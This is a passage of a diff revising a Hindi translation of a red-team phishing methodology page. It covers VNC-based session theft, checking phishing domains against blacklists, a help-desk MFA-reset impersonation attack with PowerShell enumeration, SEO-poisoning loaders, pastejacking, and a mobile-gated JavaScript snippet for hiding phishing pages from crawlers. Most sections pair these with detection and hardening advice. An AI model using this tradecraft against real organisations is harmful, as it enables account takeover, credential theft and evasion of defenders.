जबकि टूल MitM कर रहा होता है। ### Via VNC -अगर आप शिकार को असली पेज जैसी दिखने वाली किसी malicious पेज पर भेजने के बजाय उसे एक **VNC session** पर भेजें जिसमें एक ब्राउज़र असली वेब पेज पर कनेक्टेड हो, तो? आप देख पाएंगे कि वह क्या करता है, पासवर्ड, MFA, cookies चोरी कर सकेंगे...\ -आप यह [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) के साथ कर सकते हैं +यदि आप victime को असली पेज जैसा दिखने वाले malicious पेज पर भेजने के बजाय, उसे एक **VNC session** पर भेजें जिसमें ब्राउज़र असली वेब पेज से connected हो — तो क्या होगा? आप देख पाएंगे कि वह क्या करता है, पासवर्ड, इस्तेमाल किया गया MFA, cookies चुरा पाएंगे...\ +आप यह [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) के साथ कर सकते हैं। ## Detecting the detection -स्पष्ट रूप से यह जानने का एक बेहतर तरीका है कि क्या आपको पकड़ा गया है वह है **अपनी डोमेन को blacklists में खोजना**। यदि यह सूचीबद्ध है, तो किसी न किसी तरह से आपकी डोमेन को संदिग्ध माना गया है।\ -अपनी डोमेन किसी भी blacklist में है या नहीं यह जांचने का एक आसान तरीका है [https://malwareworld.com/](https://malwareworld.com) का उपयोग करना। +स्पष्ट रूप से यह जानने का एक बेहतरीन तरीका कि आपको पकड़ लिया गया है या नहीं, यह है कि आप अपनी domain को blacklists में खोजें। यदि यह सूचीबद्ध दिखाई देता है, तो किसी न किसी तरह आपका domain suspicious पाया गया है।\ +एक आसान तरीका यह जाँचने का कि क्या आपका domain किसी blacklist में है वह है [https://malwareworld.com/](https://malwareworld.com) -हालाँकि, यह जानने के और भी तरीके हैं कि क्या शिकार **जंगली में संदिग्ध फिशिंग गतिविधि की सक्रिय रूप से खोज कर रहा है**, जैसा कि नीचे समझाया गया है: +हालाँकि, अन्य तरीके भी हैं जिनसे पता चलता है कि पीड़ित **actively suspicious phishing activity खोज रहा है** जैसा कि नीचे समझाया गया है: {{#ref}} detecting-phising.md {{#endref}} -आप शिकार की डोमेन के बहुत समान नाम के साथ एक डोमेन खरीद सकते हैं **और/या एक सबडोमेन के लिए सर्टिफिकेट जेनरेट कर सकते हैं** जो आपके नियंत्रित डोमेन का हिस्सा हो और उसमें शिकार की डोमेन का **keyword** शामिल हो। यदि **लक्षित** उनके साथ किसी भी प्रकार की **DNS या HTTP interaction** करता है, तो आप जान पाएँगे कि **वह सक्रिय रूप से संदिग्ध डोमेन्स खोज रहा है** और आपको बहुत stealth होने की ज़रूरत होगी। +आप पीड़ित के domain के बहुत समान नाम वाला एक domain खरीद सकते हैं **और/या एक सबडोमेन के लिए certificate जनरेट कर सकते हैं** जो आपके द्वारा कंट्रोल किए जाने वाले domain का हो और उस सबडोमेन में पीड़ित के domain का **keyword** शामिल हो। यदि पीड़ित उनके साथ किसी भी प्रकार की **DNS या HTTP interaction** करता है, तो आपको पता चल जाएगा कि **वह सक्रिय रूप से suspicious domains खोज रहा है** और आपको बहुत stealth होना होगा। -### Evaluate the phishing +### फ़िशिंग का मूल्यांकन करें -यह जांचने के लिए कि आपकी ईमेल स्पैम फ़ोल्डर में जाएगी या ब्लॉक होगी या सफल रहेगी, [**Phishious** ](https://github.com/Rices/Phishious) का उपयोग करें। +देखें कि आपका ईमेल spam फ़ोल्डर में जाएगा या ब्लॉक हो जाएगा या सफल होगा — इसके लिए [**Phishious** ](https://github.com/Rices/Phishious) का उपयोग करें। -## High-Touch Identity Compromise (Help-Desk MFA Reset) +## High- Touch Identity Compromise (Help-Desk MFA Reset) -Modern intrusion sets अधिकतर ईमेल ल्यूर्स को पूरी तरह छोड़कर सीधे service-desk / identity-recovery workflow को टार्गेट करने लगे हैं ताकि MFA को हराया जा सके। यह अटैक पूरी तरह "living-off-the-land" है: एक बार ऑपरेटर के पास वैध credentials आ गए, वे built-in admin tooling के साथ pivot करते हैं – कोई malware आवश्यक नहीं होता। +आधुनिक intrusion सेट्स अक्सर ईमेल ल्यूर्स को पूरी तरह से छोड़ देते हैं और सीधे service-desk / identity-recovery वर्कफ़्लो को लक्ष्य बनाते हैं ताकि MFA को हराया जा सके। यह हमला पूरी तरह से "living-off-the-land" है: एक बार ऑपरेटर के पास valid credentials आ जाएं तो वे built-in admin tooling के साथ pivot करते हैं – किसी मालवेयर की जरूरत नहीं पड़ती। ### Attack flow 1. Recon the victim -* LinkedIn, data breaches, public GitHub आदि से व्यक्तिगत और कॉर्पोरेट विवरण इकट्ठा करें। -* उच्च-मूल्य पहचान (executives, IT, finance) पहचानें और password / MFA reset के लिए **exact help-desk process** का enumeration करें। + - LinkedIn, data breaches, public GitHub आदि से personal & corporate details इकट्ठा करें। + - उच्च-मूल्य की पहचानें (executives, IT, finance) निर्धारित करें और password / MFA reset के लिए **exact help-desk process** को enumerate करें। 2. Real-time social engineering -* help-desk को फोन, Teams या चैट करें जबकि आप लक्ष्य का impersonate कर रहे हों (अक्सर **spoofed caller-ID** या **cloned voice** के साथ)। -* knowledge-based verification पास करने के लिए पहले से इकट्ठा किया गया PII प्रदान करें। -* एजेंट को मनाएं कि वह **MFA secret reset** कर दे या रजिस्टर किए गए मोबाइल नंबर पर **SIM-swap** कर दे। + - help-desk को फोन, Teams या चैट पर लक्ष्य की impersonation करते हुए contact करें (अक्सर **spoofed caller-ID** या **cloned voice** के साथ)। + - पहले से इकट्ठा किया गया PII प्रदान करें ताकि knowledge-based verification पास हो जाए। + - एजेंट को मनाएं कि वह **MFA secret reset** करे या पंजीकृत मोबाइल नंबर पर **SIM-swap** करे। 3. Immediate post-access actions (≤60 min in real cases) -* किसी भी वेब SSO पोर्टल के माध्यम से foothold स्थापित करें। -* बिल्ट-इन्स के साथ AD / AzureAD का enumeration करें (कोई बाइनरी ड्रॉप किए बिना): + - किसी भी web SSO portal के माध्यम से foothold स्थापित करें। + - AD / AzureAD का enumeration built-ins के साथ करें (कोई बाइनरी ड्रॉप नहीं): ```powershell # list directory groups & privileged roles Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME} @@ -467,56 +466,56 @@ Get-MgDirectoryRole | ft DisplayName,Id # Enumerate devices the account can login to Get-MgUserRegisteredDevice -UserId ``` -* **WMI**, **PsExec**, या पहले से whitelist किए गए legit **RMM** agents के साथ lateral movement। + - **WMI**, **PsExec**, या environment में पहले से whitelisted वैध **RMM** agents के साथ lateral movement करें। ### Detection & Mitigation -* help-desk identity recovery को एक **privileged operation** के रूप में मानें – step-up auth और manager approval आवश्यक करें। -* ऐसी **Identity Threat Detection & Response (ITDR)** / **UEBA** rules तैनात करें जो alert करें जब: -* MFA method बदला गया हो + नई डिवाइस / जियो से authentication। -* उसी principal का तत्काल elevation (user → admin)। -* help-desk कॉल रिकॉर्ड करें और किसी भी reset से पहले **पहले से रजिस्टर्ड नंबर पर call-back** अनिवार्य करें। -* लागू करें **Just-In-Time (JIT) / Privileged Access** ताकि नए reset किए गए accounts स्वतः high-privilege tokens inherit न करें। + - help-desk identity recovery को एक **privileged operation** मानें – step-up auth & manager approval आवश्यक करें। + - ऐसे निगरानी नियम (Identity Threat Detection & Response (ITDR) / **UEBA**) लागू करें जो अलर्ट करें जब: + - MFA method बदला गया हो + नई डिवाइस / geo से authentication हुआ हो। + - उसी principal (user → admin) का तात्कालिक elevation हुआ हो। + - help-desk कॉल्स रिकॉर्ड करें और किसी भी reset से पहले **पहले से-registered नंबर** पर call-back अनिवार्य करें। + - Implement **Just-In-Time (JIT) / Privileged Access** ताकि newly reset accounts स्वतः high-privilege tokens inherit न करें। --- ## At-Scale Deception – SEO Poisoning & “ClickFix” Campaigns -Commodity crews उच्च-टच ऑप्स की लागत को ऐसे mass अटैक्स के साथ ऑफ़सेट करते हैं जो **search engines & ad networks को delivery channel में बदल देते हैं**। +कमोडिटी क्रूज़ उच्च-टच ऑपरेशन्स की लागत को मुआवजा देने के लिए mass attacks का उपयोग करते हैं जो **search engines & ad networks को delivery channel** में बदल देते हैं। -1. **SEO poisoning / malvertising** एक फेक रिज़ल्ट जैसे `chromium-update[.]site` को टॉप सर्च एड्स में पुश करता है। -2. शिकार एक छोटा **first-stage loader** डाउनलोड करता है (अक्सर JS/HTA/ISO)। Unit 42 ने जिन उदाहरणों को देखा: -* `RedLine stealer` -* `Lumma stealer` -* `Lampion Trojan` -3. Loader ब्राउज़र cookies + credential DBs को exfiltrate करता है, फिर एक **silent loader** खींचता है जो *रीअलटाइम* में निर्णय लेता है कि क्या deploy करना है: -* RAT (उदा. AsyncRAT, RustDesk) -* ransomware / wiper -* persistence component (registry Run key + scheduled task) +1. **SEO poisoning / malvertising** एक fake result जैसे `chromium-update[.]site` को top search ads में धकेलता है। +2. पीड़ित एक छोटा **first-stage loader** डाउनलोड करता है (अक्सर JS/HTA/ISO)। Unit 42 ने उदाहरणों में देखा: + - `RedLine stealer` + - `Lumma stealer` + - `Lampion Trojan` +3. Loader ब्राउज़र cookies + credential DBs exfiltrate करता है, फिर एक **silent loader** खींचता है जो real-time में तय करता है कि क्या deploy करना है: + - RAT (उदा। AsyncRAT, RustDesk) + - ransomware / wiper + - persistence component (registry Run key + scheduled task) ### Hardening tips -* newly-registered domains को ब्लॉक करें और *search-ads* पर Advanced DNS / URL Filtering लागू करें साथ ही ईमेल पर भी। -* सॉफ़्टवेयर इंस्टालेशन को signed MSI / Store packages तक सीमित करें, `HTA`, `ISO`, `VBS` के execution को policy से deny करें। -*浏览र के child processes को मॉनिटर करें जो installers खोल रहे हों: +- नए-रजिस्टर्ड domains को ब्लॉक करें और *search-ads* के साथ-साथ ईमेल पर भी **Advanced DNS / URL Filtering** लागू करें। +- सॉफ़्टवेयर इंस्टॉलेशन को signed MSI / Store packages तक सीमित रखें, नीति द्वारा `HTA`, `ISO`, `VBS` execution को deny करें। +- ब्राउज़र के child processes को installers खोलते हुए मॉनिटर करें: ```yaml - parent_image: /Program Files/Google/Chrome/* and child_image: *\\*.exe ``` -* उन LOLBins की खोज करें जिन्हें first-stage loaders अक्सर misuse करते हैं (उदा. `regsvr32`, `curl`, `mshta`)। +- पहले-स्टेज loaders द्वारा अक्सर abused किए जाने वाले LOLBins की खोज करें (उदा। `regsvr32`, `curl`, `mshta`)। --- ## AI-Enhanced Phishing Operations -आक्रमणकारी अब पूरी तरह personalise किये गए ल्यूर्स और रियल-टाइम इंटरैक्शन के लिए **LLM & voice-clone APIs** को श्रृंखला में जोड़ते हैं। +हमलावर अब पूरी तरह व्यक्तिगत ल्यूर्स और real-time interaction के लिए **LLM & voice-clone APIs** को श्रृंखलाबद्ध करते हैं। | Layer | Example use by threat actor | |-------|-----------------------------| -|Automation|Generate & send >100 k emails / SMS with randomised wording & tracking links.| -|Generative AI|Produce *one-off* emails referencing public M&A, inside jokes from social media; deep-fake CEO voice in callback scam.| -|Agentic AI|Autonomously register domains, scrape open-source intel, craft next-stage mails when a victim clicks but doesn’t submit creds.| +| Automation | >100k ईमेल / SMS generate & भेजना, randomised wording और tracking links के साथ। | +| Generative AI | सार्वजनिक M&A, सोशल मीडिया से अंदरूनी चुटकुले का संदर्भ देकर *one-off* ईमेल बनाना; callback scam में CEO की deep-fake आवाज। | +| Agentic AI | स्वतः डोमेन रजिस्टर करना, open-source intel scrape करना, जब victim क्लिक करे पर creds सबमिट न करे तो अगले चरण के मेल खुद बनाना। | **Defence:** -• अनट्रस्टेड automation से भेजे गए मैसेजेस को हाइलाइट करने के लिए **dynamic banners** जोड़ें (ARC/DKIM anomalies के माध्यम से)। -• उच्च-जोखिम फोन रिक्वेस्ट्स के लिए **voice-biometric challenge phrases** तैनात करें। -• awareness programmes में लगातार AI-generated ल्यूर्स का simulation करें – static templates obsolete हैं। +• ARC/DKIM anomalities के जरिए untrusted automation से भेजे गए संदेशों पर **dynamic banners** जोड़ें। +• उच्च-जोखिम फोन अनुरोधों के लिए **voice-biometric challenge phrases** लागू करें। +• awareness programmes में लगातार AI-generated ल्यूर्स का simulation करें – static templates अब obsolete हैं। See also – agentic browsing abuse for credential phishing: @@ -527,19 +526,19 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md --- ## MFA Fatigue / Push Bombing Variant – Forced Reset -क्लासिक push-bombing के अलावा, ऑपरेटर्स बस कॉल के दौरान **नई MFA registration ज़बरदस्ती कर देते हैं**, जिससे उपयोगकर्ता के मौजूदा token शून्य हो जाते हैं। किसी भी बाद के लॉगिन प्रॉम्प्ट को शिकार के लिए वैध ही दिखेगा। +क्लासिक push-bombing के अलावा, ऑपरेटर केवल help-desk कॉल के दौरान **नई MFA registration को force कर देते हैं**, जिससे उपयोगकर्ता का मौजूदा token nullify हो जाता है। किसी भी subsequent login prompt पीड़ित को legitimate प्रतीत होता है। ```text [Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?” [Help-Desk] → AzureAD: ‘Delete existing methods’ → sends registration e-mail [Attacker] → Completes new TOTP enrolment on their own device ``` -AzureAD/AWS/Okta इवेंट्स के लिए मॉनिटर करें जहाँ **`deleteMFA` + `addMFA`** एक ही IP से कुछ ही मिनटों में घटित हों। +AzureAD/AWS/Okta घटनाओं के लिए मॉनिटर करें जहाँ **`deleteMFA` + `addMFA`** एक ही IP से कुछ ही मिनटों के भीतर होते हैं। ## Clipboard Hijacking / Pastejacking -हमलावर किसी compromised या typosquatted वेब पेज से चुपके से malicious commands पीड़ित के clipboard में कॉपी कर सकते हैं और फिर उपयोगकर्ता को धोखा देकर उन्हें **Win + R**, **Win + X** या किसी terminal window में पेस्ट करवा सकते हैं, जिससे बिना किसी download या attachment के arbitrary code execute हो जाता है। +हमलावर कम्प्रोमाइज़्ड या typosquatted वेब पेज से चुपचाप मैलिशियस कमांड पीड़ित के क्लिपबोर्ड में कॉपी कर सकते हैं और फिर उपयोगकर्ता को धोखा देकर उन्हें **Win + R**, **Win + X** या एक terminal window में पेस्ट करवा देते हैं, जिससे बिना किसी डाउनलोड या attachment के arbitrary code execute हो जाता है। {{#ref}} @@ -553,6 +552,33 @@ clipboard-hijacking.md mobile-phishing-malicious-apps.md {{#endref}} +### Mobile‑gated phishing to evade crawlers/sandboxes +ऑपरेटर अपने phishing flows को एक सरल डिवाइस चेक के पीछे छिपा रहे हैं, ताकि desktop crawlers अंतिम पेजों तक कभी न पहुँचें। एक आम पैटर्न यह है कि एक छोटा script touch-capable DOM के लिए टेस्ट करता है और परिणाम को एक server endpoint पर पोस्ट करता है; non‑mobile clients को HTTP 500 (या एक खाली पेज) मिलता है, जबकि mobile users को पूरा flow दिखाया जाता है। + +क्लाइंट का न्यूनतम स्निपेट (सामान्य लॉजिक): +```html + +``` +`detect_device.js` लॉजिक (सरलीकृत): +```javascript +const isMobile = ('ontouchstart' in document.documentElement); +fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})}) +.then(()=>location.reload()); +``` +अक्सर देखे जाने वाले सर्वर व्यवहार: +- पहली लोड पर session cookie सेट करता है। +- स्वीकार करता है `POST /detect {"is_mobile":true|false}`। +- जब `is_mobile=false` तब बाद की GETs पर 500 (या placeholder) लौटाता है; phishing तभी सर्व करता है जब `is_mobile=true`। + +हंटिंग और डिटेक्शन हीयूरिस्टिक्स: +- urlscan क्वेरी: `filename:"detect_device.js" AND page.status:500` +- वेब टेलीमेट्री: `GET /static/detect_device.js` → `POST /detect` → non‑mobile के लिए HTTP 500; वैध मोबाइल पाथ 200 लौटाते हैं और उसके बाद HTML/JS मिलते हैं। +- उन पृष्ठों को ब्लॉक या गहराई से जाँचें जिनकी सामग्री केवल `ontouchstart` या समान डिवाइस चेक्स पर निर्भर हो। + +रक्षा सुझाव: +- गेटेड कंटेंट उजागर करने के लिए crawlers को mobile‑like fingerprints और JS सक्षम करके चलाएँ। +- नए पंजीकृत डोमेन पर `POST /detect` के बाद आने वाली संदिग्ध 500 responses पर अलर्ट स्थापित करें। + ## संदर्भ - [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/) @@ -560,5 +586,6 @@ mobile-phishing-malicious-apps.md - [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/) - [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) - [2025 Unit 42 Global Incident Response Report – Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/) +- [Silent Smishing – mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/) {{#include ../../banners/hacktricks-training.md}}